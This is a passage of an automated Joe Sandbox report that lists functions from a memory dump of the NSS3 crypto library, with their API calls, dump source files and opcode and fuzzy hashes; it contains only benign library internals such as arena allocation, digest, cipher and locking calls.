memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CEEF165,?), ref: 6CEEFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CEEF165,?), ref: 6CEEFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CEEF165,?), ref: 6CEEFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CEEF165,6CFB219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEEFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CEEF165,?), ref: 6CEF00A6

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 92c7cbe778a1a4259f7ecb69e3af30063711b987662426479322b780faf9d70c
Instruction ID: 90d5a58c2a01bcad940cf6d394b0d45d9d4829f2f9c93ce1a9251618981c1612
Opcode Fuzzy Hash: 92c7cbe778a1a4259f7ecb69e3af30063711b987662426479322b780faf9d70c
Instruction Fuzzy Hash: 415102B1E002559FDB108F98C8907AEB7B5BF49358F794629DC29A7B40D332AD02CBD0

Function 6CEADEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEADF37
EnterCriticalSection.KERNEL32(?), ref: 6CEADF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEADF96
PR_SetError.NSS3(00000000,00000000), ref: 6CEAE02B
PR_Unlock.NSS3(?), ref: 6CEAE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEAE090
PR_Unlock.NSS3(?), ref: 6CEAE0AF

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 00b357e22bedc893a6c5d7462d251cd5d43c7e3fc2ff1ff6e5b015968c4e9089
Instruction ID: e70bce6c228d4e6e524b26826e0d6cf3faafbea5dd4d4c217510c43e5458573c
Opcode Fuzzy Hash: 00b357e22bedc893a6c5d7462d251cd5d43c7e3fc2ff1ff6e5b015968c4e9089
Instruction Fuzzy Hash: 7951D238A00A008FEB209FA5D885B5773F5FF49308F304528E8564BB91D735E95ACBD2

Function 6CEABCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CEABD1E

Part of subcall function 6CE82F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE82F0A
Part of subcall function 6CE82F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE82F1D

Part of subcall function 6CEC57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE8B41E,00000000,00000000,?,00000000,?,6CE8B41E,00000000,00000000,00000001,?), ref: 6CEC57E0
Part of subcall function 6CEC57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CEC5843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEABD8C

Part of subcall function 6CEDFAB0: free.MOZGLUE(?,-00000001,?,?,6CE7F673,00000000,00000000), ref: 6CEDFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CEABD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CEABDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEABE3A

Part of subcall function 6CE83E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE83EC2
Part of subcall function 6CE83E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE83ED6
Part of subcall function 6CE83E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE83EEE
Part of subcall function 6CE83E60: PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE83F02
Part of subcall function 6CE83E60: PL_FreeArenaPool.NSS3 ref: 6CE83F14
Part of subcall function 6CE83E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE83F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEABE52

Part of subcall function 6CE82E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE82CDA,?,00000000), ref: 6CE82E1E
Part of subcall function 6CE82E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE82E33
Part of subcall function 6CE82E00: TlsGetValue.KERNEL32 ref: 6CE82E4E
Part of subcall function 6CE82E00: EnterCriticalSection.KERNEL32(?), ref: 6CE82E5E
Part of subcall function 6CE82E00: PL_HashTableLookup.NSS3(?), ref: 6CE82E71
Part of subcall function 6CE82E00: PL_HashTableRemove.NSS3(?), ref: 6CE82E84
Part of subcall function 6CE82E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE82E96
Part of subcall function 6CE82E00: PR_Unlock.NSS3 ref: 6CE82EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEABE61

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: faf2f57d6e8db286a893594ff0bcad974206572d3bd4d4ab1830cdb2179e76fe
Instruction ID: 5e7d92f37978a429b6c5139f958d26c7b44a6794e34a86e05c67d88900ea23f7
Opcode Fuzzy Hash: faf2f57d6e8db286a893594ff0bcad974206572d3bd4d4ab1830cdb2179e76fe
Instruction Fuzzy Hash: 0141F2B6E01214AFC710CF68DC80B6A77F4EF49718F258168F9099B712E735E906CB92

Function 6CECAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CECAB3E,?,?,?), ref: 6CECAC35

Part of subcall function 6CEACEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CEACF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CECAB3E,?,?,?), ref: 6CECAC55

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CECAB3E,?,?), ref: 6CECAC70

Part of subcall function 6CEAE300: TlsGetValue.KERNEL32 ref: 6CEAE33C
Part of subcall function 6CEAE300: EnterCriticalSection.KERNEL32(?), ref: 6CEAE350
Part of subcall function 6CEAE300: PR_Unlock.NSS3(?), ref: 6CEAE5BC
Part of subcall function 6CEAE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CEAE5CA
Part of subcall function 6CEAE300: TlsGetValue.KERNEL32 ref: 6CEAE5F2
Part of subcall function 6CEAE300: EnterCriticalSection.KERNEL32(?), ref: 6CEAE606
Part of subcall function 6CEAE300: PORT_Alloc_Util.NSS3(?), ref: 6CEAE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CECAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CECAB3E), ref: 6CECACD7
PORT_Alloc_Util.NSS3(?), ref: 6CECAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CECAD2B

Part of subcall function 6CEAF360: TlsGetValue.KERNEL32(00000000,?,6CECA904,?), ref: 6CEAF38B
Part of subcall function 6CEAF360: EnterCriticalSection.KERNEL32(?,?,?,6CECA904,?), ref: 6CEAF3A0
Part of subcall function 6CEAF360: PR_Unlock.NSS3(?,?,?,?,6CECA904,?), ref: 6CEAF3D3

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 7f892ffc2d0d9ee171969ff41a7d68694daa8f2afeb80ce09902108090c4f46b
Instruction ID: 0d2c48cb3fbdf8193549e3aa90734e15081625f30eb23864feb99c4452ff16e3
Opcode Fuzzy Hash: 7f892ffc2d0d9ee171969ff41a7d68694daa8f2afeb80ce09902108090c4f46b
Instruction Fuzzy Hash: 5D3129B1F406055FEB008F69CD409EF7B76AF8431CB288128E825AB740EB31DD1687A2

Function 6CEA8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CEA8C7C

Part of subcall function 6CF49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DC6
Part of subcall function 6CF49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DD1
Part of subcall function 6CF49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF49DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEA8CB0
TlsGetValue.KERNEL32 ref: 6CEA8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CEA8CE5
PR_Unlock.NSS3(?), ref: 6CEA8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CEA8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA8D93

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 6648d5fe716f4f13583d56c58153b7633f1d3e1fd98965c595dd6cf2081c8018
Instruction ID: 809cbbd65f9d08438be550c5d79efb9e04de0226c245291245e5fe45607f4c0d
Opcode Fuzzy Hash: 6648d5fe716f4f13583d56c58153b7633f1d3e1fd98965c595dd6cf2081c8018
Instruction Fuzzy Hash: 9A314C71E01601AFEB20AFA8DC4479AB778BF45318F34013AEA156BB50D770A966C7D1

Function 6CEE9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEE9C5B), ref: 6CEE9D82

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEE9C5B), ref: 6CEE9DA9

Part of subcall function 6CEE1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE136A
Part of subcall function 6CEE1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE137E
Part of subcall function 6CEE1340: PL_ArenaGrow.NSS3(?,6CE7F599,?,00000000,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?), ref: 6CEE13CF
Part of subcall function 6CEE1340: PR_Unlock.NSS3(?,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEE9C5B), ref: 6CEE9DCE

Part of subcall function 6CEE1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE13F0
Part of subcall function 6CEE1340: PL_ArenaGrow.NSS3(?,6CE7F599,?,?,?,00000000,00000000,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CEE1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEE9C5B), ref: 6CEE9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CEE9C5B), ref: 6CEE9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEE9C5B), ref: 6CEE9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CEE9C5B), ref: 6CEE9E91

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

Part of subcall function 6CEE1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CEDFAAB,00000000), ref: 6CEE157E
Part of subcall function 6CEE1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CEDFAAB,00000000), ref: 6CEE1592
Part of subcall function 6CEE1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CEE1600
Part of subcall function 6CEE1560: PL_ArenaRelease.NSS3(?,?), ref: 6CEE1620
Part of subcall function 6CEE1560: PR_Unlock.NSS3(?), ref: 6CEE1639

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 6d8caaabf78de493b9127e85680b32fa11fb99df5f5616f0d8ae790c573c33f1
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 2C417EB4601606AFE7409F55D840B96BBF1FF49398F248128D9184BFA1EB72E834CB90

Function 6CEADDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CEADDEC

Part of subcall function 6CEE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CEADE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CEADE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CEADE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CEADEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEADEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEADECC

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 863893a56213ba550d4fb13314dddfd54cf438b6ae74e6b925ece8d77db07cdb
Instruction ID: 577596e5f1cf2afc7d62898c30742a1cfe1c179b978423e1eaea2b99f9d279ed
Opcode Fuzzy Hash: 863893a56213ba550d4fb13314dddfd54cf438b6ae74e6b925ece8d77db07cdb
Instruction Fuzzy Hash: F931B7B6E002146FDB00AFA4AC41BBB76B89F5570CF254129ED09AB741FB31DE15C6E2

Function 6CE87E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE87E48

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CE87E5B

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE87E7B

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CFA925C,?), ref: 6CE87E92

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE87EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE87ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE87EFA

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 928666c95e61ca54a2ae7fbf7331ff7188f04830b3e1a610c469faabe8c78819
Instruction ID: 39bcf6f233ee1f3000ad8c5fd132d6b6bf0fc42f532e76296c292a05f259b610
Opcode Fuzzy Hash: 928666c95e61ca54a2ae7fbf7331ff7188f04830b3e1a610c469faabe8c78819
Instruction Fuzzy Hash: 093170B2F022119BEB109B699C41B5B77B8AF5565CF294828EC59EBB41F730EC04C7B0

Function 6CEDDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CEDD9E4,00000000), ref: 6CEDDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CEDD9E4,00000000), ref: 6CEDDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CEDD9E4,00000000), ref: 6CEDDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEDDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEDDCAD

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: a68fa5b630d27b1437d44b5000e21ad7ba2797ca4400f33920b776f5393d0188
Instruction ID: 4b9d796700a54d2ddfcb6cd08124502498d0462eeb7f11edb62cec892004a4ad
Opcode Fuzzy Hash: a68fa5b630d27b1437d44b5000e21ad7ba2797ca4400f33920b776f5393d0188
Instruction Fuzzy Hash: E23152B9A012009FD750CF59E884B56B7F8AF45358F254429E948CBB01D771FA45CFA1

Function 6CEA2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CE9E728,?,00000038,?,?,00000000), ref: 6CEA2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CEA2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CEA2E9E
PR_Unlock.NSS3(?), ref: 6CEA2EAB
PR_Unlock.NSS3(?), ref: 6CEA2F0D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 65ddf9f3e914946a99e1df82adcc6182f1b0281be08cf8c3ca4ebd1f336fd1de
Instruction ID: ff6b084145ee331d2bb7b1872ee2788873becf95242071b414618ea9d27ab481
Opcode Fuzzy Hash: 65ddf9f3e914946a99e1df82adcc6182f1b0281be08cf8c3ca4ebd1f336fd1de
Instruction Fuzzy Hash: 8C312575E00605AFEB009F69D844966B778EF1925CB648164ED089B721EB31EC95C7E0

Function 6CEC1EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&l,6CEA6295,?,00000000,?,00000001,S&l,?), ref: 6CEC1ECB

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

